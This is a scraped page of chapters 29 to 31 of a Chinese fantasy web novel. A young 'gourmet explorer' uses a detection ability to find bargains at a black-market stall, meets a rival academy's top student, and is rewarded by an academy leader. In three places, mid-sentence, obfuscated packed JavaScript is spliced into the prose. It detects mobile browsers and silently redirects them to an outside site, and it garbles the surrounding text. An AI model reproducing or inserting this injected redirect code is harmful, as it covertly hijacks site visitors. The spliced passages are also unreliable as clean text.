扈可为:“那逛逛,逛逛行了吧,你帮我掌掌眼,我们靠直觉。” “只要别说靠我们俩运气就行了。” “……那肯定不会。” 对彼此心知肚明的好兄弟面面相觑,眼神里都是沉重。 只是当扈可为在联系沉尧他们会合时,倚在石柱上漫无目的看摊上物品的陆燃竹突然听到耳边属于金勺勺小心翼翼又带着窃喜的声音。 “宿主,靠我啊!” 它小声又神秘,笑得特别猥琐。 “你忘记了,探测功能可不会被防窥能量膜克制。” 闻言,少年倚着柱子的身子一僵。 【嘀——检测到宿主陆燃竹想体验专精·探测功能,是否打开自动检测开关?】 他都忘记这茬了。 29. 第 29 章 第29章 探测功能专精。 听起来像是先前自应性升级的后续补丁,实际上的确如此。 依金勺勺说的,现在和主神联系不上,自然是不断改进和升级,这叫动态式跟进。 陆燃竹的目光落在左上角属于自己的人物头像上,现在他的美食开拓者等级已来到了二十级。 系统每隔五级会对工具库和背包进行升级,从硬度、耐久度、附魔时长和背包容量都进行一个增强。背包现在还空出二十格的容量,附魔和料理效果的提升则需要更高等级的食材。 就目前而言,这对还是觉醒学徒的陆燃竹来说已经完全够用。 当然,前提是少年不再遇到像恩泽碑那样的场面。 “是。” 对于内置程序适时的提醒,陆燃竹给予肯定的答复。 不赌是一回事,有外挂那就是另外一回事。 【嘀——已启动自动探测功能,检测到宿主天赋能力,现自动匹配数据库,把“视觉”、“感知”相关的食材检索标为第一优先级。】 【检测范围五十米。】 随着一声轻响,陆燃竹眼前的视野顿时发生变化,不同于天赋所带来的颜色世界,探测功能带来的画面并不遮蔽他原本看到的物品现况。 少年低头看着离自己最近的小摊,那是个售卖自制武器的摊位,整洁的灰布上摆着几把被擦得锃亮的匕首。 看似毫不起眼,陆燃竹却在其上看到了系统标识的材料说明。 或是系统一开始就被陆燃竹和金勺勺带跑了,说是检测“食材”,检测出来的却是奇奇怪怪的东西。 “血虹晶”这种矿石,一般都不会联想到食材上面吧。 陆燃竹突然很想笑。 正当少年沉浸在专精后的探测功能中时,联系完沉尧他们的扈可为收起通讯器走了过来。 “学长他们说在前面那个最大的草药摊集合,我们一路看过去吧。” “好。” 扈可为说的那个草药摊位于地下广场中心,摊位很大。黑市的摊位大多不是固定的时常流动,但存在划定的一些售卖区。 像他们刚刚走过的区域,就是武器区。武器区往前就是材料区了。 材料区的摊位琳琅满目,陆燃竹两人边走边逛,时不时有和他们一样戴面具的人在摊位前驻留,与摊主讨价还价。 陆燃竹用探测功能看了一圈,发现能捡漏的空间并不大。泗黑崖地方小,大多都是低等级的材料,售卖的摊位有些价格会比外面补给商店低一些,但还不到让人占到便宜的地步。 正当两人缓步走到草药区时,侧方突然传来一阵骚动。 “喂!听说前面来了个奇葩摊主,搞什么运气盲盒,有人开出了不得了的东西!” “运气盲盒?那是什么?” “看看不就知道了。” 诸如此类的讨论一时充斥在陆燃竹两人耳边,没等两人想去看看话题中的摊位在哪边时,骤然聚集起来的人群一下把两人冲散,体型瘦弱些的陆燃竹直接被挤走。扈可为只见到好友毛茸茸的卷发在他人的胸口间一闪而过,连拽住少年衣角缝隙的距离都没有。 “喂!别挤啊!” 他大声喝道,可攒动的人群里没人听他说话。 汗臭味、皮革味,陆燃竹推阻着面前人的胸口,费力想要挣脱出密集的人流。 可十三岁少年人的力气在其中根本发挥不了什么作用。 等他终于能呼吸新鲜空气时,他已经被人挤到了最前头。 “来来来!看一看!运气盲盒,只需999觉醒币便可随意抽取,有概率获得高级材料啊!” 只见一个带着红白两色面具的人缩在一个盒子里面。他面前蓝布上摆着一个朴素的纸盒子,盒口半敞着,幽暗神秘的蓝光在其中闪烁。 盒子周围是一些随意摆放的药材,七零八落,整个摊位唯一整洁一些的,是摊主旁边的立牌,上面写着—— “一经交易,概不退款。” 下方还写着盲盒抽取的规则,陆燃竹占据优越视野看了看,顿时明白这个运气盲盒到底是这么一回事。 就是可以用999觉醒币从摊主那里获得一次抽取盒子的机会,一次可以获得两件物品,顾客只能选其中一件,剩下一件归摊主所有。 抽取和选择全然由顾客选择,摊主无权干涉。 那些散落在运气抽取盒周围的,便是之前摊主的“收获”。 上面还贴了价格标签,属于“废物”利用。 见自己摊位火爆,摊主的吆喝声又大了一些,他指着最前方正傻笑着的男人,极富诱惑性地说:“有概率抽到高级材料啊,绝对童叟无欺,这位大哥就抽到了高级冰魂石,放在补给商店,最低的售价可是9999觉醒币!” 他话音一落,周围一片哗然。 当即就有人掷出一袋觉醒币,喊着自己要来三轴。站在陆燃竹身后的人也被吸引般朝前挤,就在少年要被挤到摊位上时,从后方突然伸来一只手牢牢抓住了他的后衣襟。 陆燃竹回头一看,就见前不久刚分别的男生稳如磐石地站在自己身后,黑白素面的面具挡住他上半张脸,露出线条优美的下颌。 “靳哥。” 陆燃竹被拽着站好,他乖巧地喊了一句,来不及转过身又被男生按在身前。 “嗯,小心。” 两人之间的距离极近,身高差让陆燃竹的后脑靠在靳洲的锁骨处,他甚至都能闻到男生身上好闻的味道。 这样的距离和接触让少年身上鸡皮疙瘩骤起,但他也明白周围环境让他们也只能暂时这么站着。 有些不适,却比之前站得稳太多了,甚至周围的空气都清新不少。 而在少年身后,靳洲如愿以偿地近距离接触到少年毛茸茸的卷发,他相当自然地把手微微放在陆燃竹的肩膀上,甚至还顺了一把他的头发。 手感很好。 他很满意。 满意的靳洲稳稳站在人群正前方,把后面人的视野挡得严严实实,周围人却声都不敢吭一声。 找人过程中和沉尧会合的扈可为也看到了这一幕,没等他再次搜寻好友的身影,身旁的沉尧拍拍他的肩膀。 “行了,靳洲找到了小陆了。” “真的吗?” “真的,他发信息了。” 找到人了,热闹也能继续看了。 同样的话靳洲也和陆燃竹说了。而在他们互发信息的过程中,摊位上抽运气盲盒的人已然走过一波。 一波好几个人,能真正拿回本的却是少数。 见此情形,有些顾客皱眉不满想要发难,而红白面具的摊主却拍拍立牌上的契约卷轴,白纸黑字,容不得他反悔。 围观的人也从一开始的兴致勃勃变得眼神狐疑,走上前的人也渐渐变少。 就在有人犹豫不敢上前时,摊主面前的盒子突然散发一股紫光,紧接着是一道惊喜的女声。 “我抽到了!” “恭喜这位小姐,价值12000觉醒币的熔铠草和653觉醒币的粒粒花!” “熔铠草归您,粒粒花归我。” 他笑着说,因这一遭,周围人群再起欢呼。 被迫站在最前方的陆燃竹看着一个又一个人上前抽取盲盒,耳边探测功能的播报声甚至比摊主的声音还要提前。 惊喜感骤降,看着看着,他甚至开始在意被摊主丢到蓝布上的材料。 而他视线的集中似乎引起背后靳洲的注意。 “想试一试?” “啊,不,我不信这个。” 陆燃竹忙摇头,运气这种东西他现在是一点都不敢信,况且……也难保盲盒里面摊主没动手脚。 后面那一句他没说,而男生却接着道:“他的盲盒没动手脚。” “想试试的话可以去玩一玩。” 没动手脚? 这句话让陆燃竹一顿,他知道男生从不说不靠谱的话,那他这么说,难不成…… “靳哥你认识摊主?” “嗯,见过几面,他很喜欢做这种事情。” 靳洲如实回答,他淡淡看着,期间和摊主视线接触过几次,或是都认出彼此的身份,摊主几次看过来的视线都富含深意。 他低头看少年有些好奇,他接着说,“扈可为他姐姐和他会比较熟一些。” “他们都是东部联盟学院的。” “沉尧也认识,不过他被他坑过好几次。” 男生语气淡淡,却意外引起陆燃竹的兴趣。 “那沉哥估计挺生气的。” “的确,他很想扳回一城,现在估计在往前挤。” 像是应验靳洲所说的一样,陆燃竹突然听到了属于沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338406|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尧的喊声,很大的一声骗子,非常响亮。 他的嘴角顿时有些抽搐。陆燃竹清咳了几声,忍下笑意,目光没落在盒子上,倒是落在散落的材料上。 “那这个不难。” “怎么说?” “有捡漏的机会。” 少年面具下的眼睛充满狡黠,探测功能时刻发挥着作用。 【被车迷马血液污染过的橙光果,被误认为阿丘果出售。】 【沾染上韧铯粉的田芽叶,被误认为肥肦叶。】 他指着被摊主随意放在角落的一颗蓝灰果实,小声道:“那不是阿丘果,而是橙光果。” “价值不是256觉醒币而是2059觉醒币。” “左侧方的那一个,不是肥肦叶而是田芽叶。” 靳洲听着少年小声地指出被摊主认错的几个材料,放在陆燃竹肩膀上的手指微微一动。 “这些我告诉沉哥,这样他就能扳回一城。” 陆燃竹这句话说完,就低头去弄觉醒腕表。 “不用了,沉尧挤过来了。” 靳洲话音一落,沉尧等人的身影便出现在陆燃竹身边。 “我勒个老天,怎么在泗黑崖还能碰见甄凛然这小子。” 人未到,吐槽先到。 见沉尧摩拳擦掌的模样,扈可为连连安慰道:“学长我们不冲动。” 诸墨在看戏道:“让他去呗,他又不缺钱。” 听到这陆燃竹突然抬头看了一眼靳洲,男生也低着头,眼神接触的那一刻,他见男生点了点头。 随后,卷发少年默默把还没发出去的文字挪到沉尧旁边。 半长发男生今天的发型依旧健在,见到少年觉醒腕表上的文字,眼睛顿然一亮。 人流散得很快,原先密集的围观人群也因忽高忽低的概率渐渐离开。 正当甄凛然笑着抬头欢迎自己的下一位顾客时,见到的就是一脸狞笑的、戴着面具的沉尧。 “好久不见啊。” 熟悉的声音,以及刚刚瞥见的熟悉身影,甄凛然不用想都知道眼前人是谁。 “的确好久不见,您还是老样子,先来十发?” “不,今天我不抽。我买你摊位上的东西。”沉尧笑得灿烂,“我看立牌上说明码标价,我都选好了,结账吧。” 甄凛然:? 什么意思? 而沉尧可不给他反应时间,飞快挑出陆燃竹说的那些材料,还把有零有整的觉醒币放在甄凛然面前。 见状,甄凛然犹豫地拿起钱袋,面具之下他的眉头紧皱,不知沉尧这一出是什么意思。 可明码标价是事实,更何况后面还有人在排队,他也只能放沉尧离开。 看着熟人兴高采烈的背影,他顿时有种不祥的预感。 果不其然,他刚刚接待完下一位客人,就听见沉尧那响亮的声音。 “老板,收不收材料,橙光果、田芽叶……” “我今心情好,给你比市面上更便宜的价格。” 甄凛然猛地转头一看,沉尧那小子居然把刚刚在自己这买的东西又卖给隔壁摊位。 可他看过,那些材料可不是他说的那些。 “小哥,你这看着也不是橙光果啊……” “你等等,这被车迷马血液污染了,您用阿芬合水洗一下就知道了……” “哎呀,还真是!” 甄凛然瞪大眼睛看着那在自己卖256觉醒币的东西转手就卖了2000觉醒币,心突然拔凉一片。 尤其沉尧那小子还回头炫耀得比划那沉甸甸的钱袋,他心口又一阵发堵! 他一世英名! 他视线紧随着沉尧,见他回到人群中后笑着揉了揉一个戴狼面具的少年的头后,他立即收起摊位上的东西。 “欸!摊主你去哪啊?生意不做了?” “不做了,有要事处理。” “那你下次还来吗?” “随缘吧。” 甄凛然收拾得极快,见盲盒小摊不摆了周围人失望地叹气离开。 人群一散,陆燃竹也不用靳洲挡在身后,他转身想和男生道谢,话没出口,一个身影顿然插入他们几人之中。 他抬头一看,刚刚还在摊位前的摊主眨眼出现在他的眼前,摊主微微低头打量自己,忽然笃定说:“是你吧,给沉……支招的人。” 30. 第 30 章 第30章 他的出现,把陆燃竹吓了一跳。 “干嘛干嘛呢,别离这么近!” 沉尧伸手去推,却被甄凛然一把拂开。甄凛然眼神仍盯着陆燃竹,喃喃道:“不应该啊,我是偷懒了,但也不可能漏那么多啊……” “你……是怎么看出来的?” 他不死心问。 一旁的诸墨闻言晒笑:“你都说了你偷懒了,你要是好好用检测器哪会有被捡漏的机会。” “你也不差钱,别死心眼了。” “这是钱的问题吗!这是关系我今晚睡不睡好觉的问题!” 甄凛然义正严辞道。 几人围在一起说话的身影很快就被其他人所关注,见此,靳洲扫了一眼周围,最后低声道:“找个鉴定间,别在这。” “也行。” 甄凛然自然同意。 “你去开。” “我……?” 他指了指自己,不是!他还要掏钱吗? 而靳洲眼神冷淡,露出的半张脸连动都没动。甄凛然只能悻悻收回眼神。 行吧,他开就他开。 一行人很快就去到广场角落的鉴定区,出于交易的隐蔽性,黑市里还提供布下屏蔽结界的房间,交易双方可在里面自由交易,无需忌惮他人的视线。 甄凛然原本还想开个最便宜的,未曾想诸墨上前一步直接指了个最高档次的,在几人注视下他只好掏钱。 一进房间,甄凛然立马摘下脸上的红白面具。 陆燃竹才看清他的相貌。他大概十八岁上下,黑发银眸,相貌不俗,左眼尾还有一颗吸引人的泪痣。 看似是清冷气质那挂,一说话却打破了那张脸给人的感觉。 “好了好了,都摘面具。” 陆燃竹左右看了看其他人见他们十分自然地摘下面具,也伸手去摘自己脸上的。 靳洲还站在他旁边,见此跟他低声介绍说:“他是甄凛然。” 摊主的名字一出,早就好奇的金勺勺立马去查他的身份。 “宿主,这个叫甄凛然的是东部联盟学院那边的天才,也是六年级的学生。” 觉醒联盟内有上百所觉醒学院,但最顶尖的不外乎五所。东部联盟学院、西部联盟学院、南部联盟学院、北部联盟学院和中央联盟学院。 其中排名第一的是中部联盟学院,第二则是东部联盟学院。 “中有靳洲,东拥凛然,南居风行,北扬容竹,西守歌楼。” 五所联盟学院各有各的第一人,甄凛然便是东部联盟学院现今的第一首席。 五级觉醒大师,召唤类天赋“运气之笔”,能够赋予物品运气的属性。 刚觉醒那会陆燃竹见到的那个金色卷轴,费斯拉英杰榜上的前十名,陆燃竹一下就见到了四个。 第一名靳洲,第三名腾珩一,第四名甄凛然,第七名诸墨。 而甄凛然所谓的运气盲盒,说实在就是甄凛然在特殊物品“随机之袋”中运用了天赋能力。 “随机之袋”是一件高阶特殊物品,拥有者花费一定代价可从中抽取物品,物品的贵重等级由拥有者自行决定。原本是件有未知风险的物品,被甄凛然一改,变成用一定的觉醒力可换取低阶物品。 再加之运气成分,甄凛然这个恶趣味时常拿到黑市来玩。 除靳洲外,沉尧他们都被甄凛然坑过,在这个东西上不知花费了多少觉醒币。甄凛然对此也乐此不疲,如今遇到滑铁卢,在意得不行。 只不过他没想到,让自己滑铁卢的人年纪居然这么小。 “呃……你几岁啊?” 陆燃竹抿抿嘴:“十三。” “有点小啊,觉醒没?” “觉醒了。” “什么天赋啊?” “……” 陆燃竹突然不回答了。 沉尧见状出来打岔:“别老逮着小陆问啊,人家对材料熟悉得很,你小子就是偷懒才被我捡漏的,车迷马的血液你自己都看不出来。” “我还没问你呢,你怎么跑泗黑崖这里来了?” 被沉尧这么一说,甄凛然也开始怀疑起自己来了。 他也的确……偷懒没仔细检查,都是些低阶材料他就没多在意。 “我?泗黑崖现在什么地方你们不是知道得一清二楚吗?我到这来很正常吧。” 扈可为小心翼翼地举手:“可甄学长你们的毕业考核好像还没结束吧?” 他这话让甄凛然朝他看过来,对于有过一面之缘的,好同学的弟弟,他当然认得出来。 “小扈,你甄哥我什么人,自然是抢先一步提前交卷了。” “可……”扈可为犹豫地指着自己的通讯器,“我老姐她今早还发社交平台吐槽你呢。” 东部联盟学院的毕业考核年年都是悬赏任务,应届生随机组队。不巧,扈可为他姐就跟面前的甄凛然一组。 小队追了一个高阶通缉犯整整两个月,临到最后要写报告了,甄凛然提前跑路了。 今早扈可为才被老姐吐苦水,说摊上个不省心的队友老十岁。 甄凛然:“……” 他都忘了扈可为姐弟俩关系好这一点了。 “你是在追查逆潮会的人?” 一直沉默的靳洲突然开口道,这句话让甄凛然侧目。 男生原本放松的姿态一下紧绷起来,收起来嬉皮笑脸的表情。 “不愧是你,消息真灵通。” “你们学院有把你们毕业考核的详情发到社交平台上。” 闻言,甄凛然笑笑没说话。详情发到公告上是一回事,眼前人能敏锐察觉到自己到泗黑崖的目的又是另一回事了。 他就讨厌和太过聪明的人打交道,没意思。 旁观的人听到逆潮会都皱起了眉头,陆燃竹也不例外。即便他见识不多,但对于这个邪恶组织还是听闻过几分的。 起码,孤儿院和大街小巷上都贴过谨防逆潮会的广告。 这个推崇逆觉醒流的组织从第一次剧变之后便一直与觉醒联盟对立,其核心理念是接纳与改造,是一群追求用逆觉醒流改造智慧种族的疯子。 在文明重建的过程中没少出来搞事情。 觉醒协会对其的追杀令一直挂在任务板块的榜首,对应的积分和贡献值遥遥领先。 靳洲对甄凛然来泗黑崖的目的,也是基于这个组织性质的猜测。如今恩泽碑现世,第二次剧变或已开启,亲身经历过恩泽碑争夺过程的他自然明白恩泽碑于逆潮会的诱惑性。 敏锐如申定会适时更改毕业考核,同为顶尖学院,又号称“审判者摇篮”的东部联盟学院自然也嗅到了危险的气息,必然也会采取行动。 “没错,你猜对了,但没有奖励。”甄凛然耸耸肩,接着说:“你们最近可是大出风头,同为深陷毕业考核的学生,有没有什么情报和我分享一下?” 情报? 沉尧和诸墨面面相觑,恩泽碑的事情已经被列为最高机密,有契约在前,他们一点都不能透露。但他们也明白逆潮会带来的影响…… “他们接下来的动作只多不会少。” 沉默之中,靳洲缓缓开口。 “你来泗黑崖方向没错,但也别忘记吸引他们的饵是什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338407|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 男生寥寥几句避开了恩泽碑的事情打了谜语。甄凛然也是个聪明的,自然明白靳洲的意思。 “明白了。” 甄凛然轻拍掌心,脸上表情又一变:“既然是偶然碰上的,我就请小扈和这位……小陆玩一次游戏!”他说着又掏出那个运气盲盒。 “不用钱,你们俩各抽一次。还是二选一,剩下的归我。” 他手一扬,运气盲盒眨眼又变了一个形态,换了个华丽的外表摆在了扈可为和陆燃竹面前。 扈可为犹豫:“这不好吧……” “没事。他每次见新朋友都来这么一出。” 运气盲盒还有进阶形态,纯靠运气来抽取物品,不限于等级和代价,每人仅限一次。 甄凛然用天赋将随机之袋的代价替换为每人一次,还附着运气的权衡,使用次数也有所限制。 刚好,运气盲盒目前积攒的次数还有两次。 沉尧笑着劝:“他靠这个可赚了不少好东西。” 话都说到这个份上,陆燃竹和扈可为对视一眼走上前去,听甄凛然说纯靠运气,原先难为情的心情顿时消散了一半。 运气这种东西,放在他们这吧,难说啊。 果不其然,接连两道亮光闪过,扈可为和陆燃竹手里四样东西便显现在几人面前。 甄凛然一脸期待地上前,却在见到那四样东西全貌时哑了嗓子。 沉尧也犹豫了:“啊这……” 他不知道该怎么评价。 扈可为手里的东西倒是中等偏下水平,运气确实不太好。一个中阶材料银链矿,一个低阶材料股血藤。 可陆燃竹手里的…… “这也太黑了吧!” 甄凛然不可置信地指着少年手里两样材料:“一个低阶材料阿痕草,另一个……是垃圾吗?” 他看着陆燃竹手里那黑糊糊的泥土,左看右看都看不出是什么东西。 陆燃竹看着手里的东西,在其余几人震惊的目光中内心毫无波澜。 金勺勺也沉默了:“宿主,你以前就这样吗?” 不,以前起码还有个参与奖。 甄凛然甚至拿出检测器开始检查那滩黑泥,也只检测出泥沙、血渍的含量。 一瞬间,他看陆燃竹的眼神都有些怜爱了。 “小陆,两样都给你了,哥不要了。” 陆燃竹:“……谢谢。” 他盯着探测功能在黑泥上密密麻麻标识的文字,一时也没有关注的心情,直接连同阿痕草一起丢进了背包里。 与甄凛然的初次见面最终以感慨陆燃竹和扈可为的运气告终。原定的黑市行程也因这惊喜的偶遇止步于鉴定间。 甄凛然和靳洲他们最后在黑市门口告别,他要了扈可为和陆燃竹的联络号,紧接着便潇洒地消失在巷口。 陆燃竹几人也转身往觉醒协会走去,他们还要去领发现第一块恩泽碑的奖励。 而在陆燃竹没注意的背包角落,被单独放在一格的黑泥上还散发着检测的蓝光。 探测功能尽职尽责地执行未完的检测工作。 【水分含量20%……】 【泥沙含量35%……】 【……???含量25%】 【数据库缺失,开始尝试链接世界意识……链接失败……再次尝试……链接失败!链接失败!】 【尝试越过世界意识权限,启动主神密钥接口!没有权限!启动失败……尝试用主神数据库进行分析……】 【分析成功!】 【更改检测结果,未知物质含量25%,为残损红级“食材”!】 31. 第 31 章 第31章 探测功能的检测报告在背包角落成型的时候,陆燃竹刚刚抵达觉醒协会。 他在靳洲他们的带领下来到顶层,止步于一间会议室前面。 还未敲门,门顿然从内被打开。 少年抬眼看去,第一眼就瞧见那坐在桌子后的人。两鬓微白,一双豹眼严厉又不失温和,昔日在新闻上看到的金豪传奇此刻正离自己只有不过十米的距离。 陆燃竹内心涌现了一股少年人的紧张。 “你们来了。” 申定招手让他们进来,待自己熟悉的学生一个个走近后,他也看见那个位于最后的稚嫩身影。 十三岁的陆燃竹,也是率先恩泽碑的第一人。 他眼神落在少年身上,窥到他平静表情下的一抹紧张时扬起嘴角。 “陆燃竹,对吧。对于你对联盟的贡献,我很开心。” “不,只是机缘巧合,我并没有做什么。” 陆燃竹不敢邀功,虽是他率先察觉痕迹,但没有与靳洲他们的交易,恩泽碑的事情也不会那么发展。 “不必谦虚,腾老也跟我说过,时空痕迹的事情你也帮了不少忙,更何况,靳洲上交的那些石块也发挥了很大的作用。”申定说着,神情带着对年轻人的鼓励。 “现在对恩泽碑的探寻任务已上了觉醒协会的任务板块,你们作为第一批的‘唤碑人’,也该领取属于你们的奖励。” 他话音一落,一旁侯着的秘书上前几步:“几位跟我来,奖励在隔壁。” 正当几人准备跟着秘书前往隔壁房间时,申定又开口道:“对了,靳洲和诸墨你们留一下,我有事情要告诉你们。” 闻言,被点名的两人彼此对视一眼,没跟陆燃竹他们一样离开会议室。 队友被留下,沉尧在停顿之后也立刻接管带孩子的工作,他一手一个揽住陆燃竹和扈可为。 “我们先走。” 几人走到隔壁,入门就见桌面上摆着几个盒子。 “除去和任务委托板块上一致的积分奖励之外,申传奇还为各位提供了额外的奖赏。” “这会,应该已经打在各位的帐户下了。” 秘书笑得礼貌妥帖,随着他话音刚落,陆燃竹几人的觉醒腕表都发出了接收到信息的声音。 陆燃竹低头一看,就见自己原本空荡荡的帐户余额上顿时出现了一笔巨大的积分。 足足5000觉醒积分,给他和金勺勺都吓了一跳。 要知道觉醒积分和觉醒币的兑换比例是1:1000。 5000觉醒积分,换成觉醒币就是500万觉醒币! 金勺勺又惊又喜:“5000!这么多!可宿主,我们先前看的任务板块上发现恩泽碑消息不是才3000觉醒积分吗?” 觉醒协会任务板块上的奖励是3000觉醒积分,这放在任务板块上已经是临近红级委托的奖励。而现在直接往他们的帐户打进5000觉醒积分,已经是红级委托的奖励标准了。 一旁的扈可为也压抑不住自己惊喜的表情。 见他们脸上难掩惊讶和疑惑,秘书微微一笑:“多出来的2000觉醒积分是对各位让恩泽碑成功归位的奖励,这是申传奇特批的奖赏。” 陆燃竹犹豫道:“这会不会太多一点。” 秘书微笑:“不,这是你们几位应得的。” 或许陆燃竹还不清楚他们那天行动的含金量,但现如今,整个联盟,甚至整个大陆的走势都会围绕恩泽碑这一中心。 而成功焕发觉醒光柱的恩泽碑,更是一个完美的开局。 秘书没再多说什么,他侧过身子露出摆着几个盒子的桌面,介绍道:“除去觉醒积分,申传奇还额外准备了一些小礼物。” 他上前几步把盒子交到每个人的手里。陆燃竹看着手里的盒子,第一次感受到金钱压顶的压力。 在他脑中,金勺勺已经激动得不能自已。 “是什么!是什么!” 秘书:“你们可以打开看看。” 闻言,沉尧和扈可为都打开了自己手里的盒子,盒子里面是一枚徽章,大约巴掌大小,银边金底,安静地卧在黑色毛绒布上。 这是…… 陆燃竹的疑惑还未出口,认出来的沉尧就先倒吸了一口凉气! “这不会是……防护徽章吧。” 他的反应让秘书满意地点点头,“是的,这是申传奇特地给你们的防护徽章,能抵挡觉醒圣域或者风暴级灾兽的一次全力攻击。” 防护徽章,和防御卷轴本质一样,都是一次性的防御消耗品。 放在学院、或者大家族中,这是长辈对小辈们的一种爱护和保障。但眼前这枚性质不同,这可是由金豪传奇亲自镌刻的防护徽章,能阻挡觉醒圣域和风暴级灾兽的一次全力攻击!这放在市面上,能卖到天价! 传奇出手的含金量,有再多钱都买不到! 绝对的保命神器! 秘书的话一出,陆燃竹拿盒子的手都开始有点抖,原本轻飘飘的盒子顿时如千金重。 少年脸色一时发白,他茫然地看着秘书,颤着声道:“我真能拿吗?” 秘书笑着肯定:“当然。” “这是申传奇的一点心意。” 一点,这何止一点。 陆燃竹看着手里的徽章,突然有种摊上大事的感觉。比起安心感,他倒是有种莫名的恐慌。 沉尧也没想到盒子里是这样的礼物,他直白地道:“老师这一手,我倒是开始有点害怕了。” 传奇徽章都出来了,恩泽碑的水怕是深不见底啊。 秘书报以神秘微笑没说话。申定的礼物很直白,在鼓励小辈的同时也没隐瞒这之后可能遇到的危险,可控区813一事,虽然已提前做好信息屏蔽,但也不能排除有其他天赋觉醒者察觉到陆燃竹几人在其中发挥的作用。 为保证他们的安全,他也只能多做一手准备。 不怕一万,就怕万一嘛…… 另一边,被申定留下的靳洲和诸墨正站在申定前面,年轻富有朝气的脸,连西斜的阳光都不舍从其上离开。 “留你们下来,是有件事情想跟你们说。” 申定严肃地看着他们,手指轻轻点了点桌面上印着绝密的几份报告。 “恩泽碑上的碑文你们也看到了,预言中所提及的第二次剧变,你们也清楚是什么情况。”申定语气轻缓,“如今第一块恩泽碑坐落在泗黑崖,在你们那位朋友的帮助下,探测器的进展有很大的推进,腾老也从远征八人的时空痕迹上推断出第二块恩泽碑的信息。” 恩泽碑不止有一块。 从靳洲他们发现第一块开始,第二次剧变就已经开始。泗黑崖只是开头,这片大陆上会有第二块、第三块……甚至成百上千块恩泽碑的出现。而这也象征着觉醒力和逆觉醒流在费斯拉大陆上开始新一轮的角逐。 恩泽碑带来的充沛觉醒力就是未来和希望的象征。 据分析所的推断,假若费斯拉大陆上,成功归位的恩泽碑达到一定数量,那么觉醒智慧种族被逆觉醒流压制的局面将会彻底改变。他们也将不用依靠少量的稳定中枢来保证生存的空间。 如果说第一次剧变给予觉醒智慧种族毁灭和新生,那么第二次剧变,则将会把觉醒智慧种族带向一个新的未来。 一个光明的,可能重现千百年前盛况的未来。 “第二块恩泽碑出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338408|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地点将会在南部联盟。” 南部联盟?一下从泗黑崖跨越到南部联盟? 靳洲的眉头微微皱起。 “但我留你们不是为了第二块恩泽碑的事情,而是这个。” 申定轻点桌面上的投影器,下一刻,费斯拉大陆地图的投影被投射在房间内。靳洲和诸墨微微仰头,注意到大陆西北侧的位置被标注了一个猩红的圆圈。 申定手指一动,把那个圆圈放大百倍,一座散着金光的高塔顿时出现在三人面前。 高塔外表是干裂的黄土,但细看,就能看到上面都是细密的锁链,层层叠叠,构成墙壁和门。 “这是寰宇传奇在黄昏沼泽发现的神秘高塔,它几乎和泗黑崖发现的恩泽碑前后脚出现,根据外部探测,高塔内部存在有与恩泽碑一致的能量源。” “而据多次查探,它只限于25岁以下的觉醒者进入。” 申定的话说到这个份上,靳洲和诸墨也明白他叫他们留下的目的。 “联盟已经开始征召25岁以下的觉醒者,因为可进入的名额有限,联盟打算召开公开选拔赛。” “我打算让你们和腾珩一去。” 神秘高塔事关重大,联盟要找25岁以下的杰出觉醒者,第一参考项就是费斯拉英杰榜。 这个榜单经由联盟天象阁,在检测年轻一代能力上是绝对的权威。如若真要公开征召25岁以下的觉醒者,中央联盟学院正好有三个绝对权威的人选。 费斯拉英杰榜第一的靳洲,第三腾珩一,第七诸墨。 “当然,这存在危险,你们也可以选择放弃这个名额。这个消息不久后便会公开,选拔赛会在你们毕业考核结束之后。” “腾珩一那边,我已经经过腾老通知过,具体的答复,你们可以在毕业考核结束后告诉我。” 会议室的门开了又关,秘书和出去的靳洲两人擦肩而过,他回身关门的时候,坐在桌子后的申定还能听到走廊内沉尧语气欢快的声音。 见申定脸色晦暗不明地看着桌面上的报告,秘书放轻脚步走近。 他微微俯身:“申哥,奖励已经给他们了,连带腾老拜托转交的那封信,我也给了那位少年。” 申定回过神,他看向窗外,窗外黄昏已至,绚丽的晚霞染红了泗黑崖的天空。 “他们很高兴?” “当然。” “那就好。” 闻言,申定轻笑一声,见他神色缓和,秘书又小心地多问了一句:“您先前让中央联盟学院招生办那边多留意的事情,我也吩咐好了。” “只是……我有点在意,您对那位少年的关注是否有些……” 他没把话说完,申定明白他的意思,陆燃竹过往的经历都被调查清楚,虽然觉醒早了些,但正好是适合到觉醒学院上学的年纪。 “三个月四级觉醒学徒,潜力指标S+。” 男人走到窗边看着楼下来往的觉醒者们,注意到那说说笑笑的五人,目光落在那被围在中心的卷发少年。 “这样的潜质,如今被称为千百年难得一遇的靳洲,他当年都没这样的晋升速度。” “如此天才,我作为中央联盟学院的老师,自然还是帮自家招揽。” 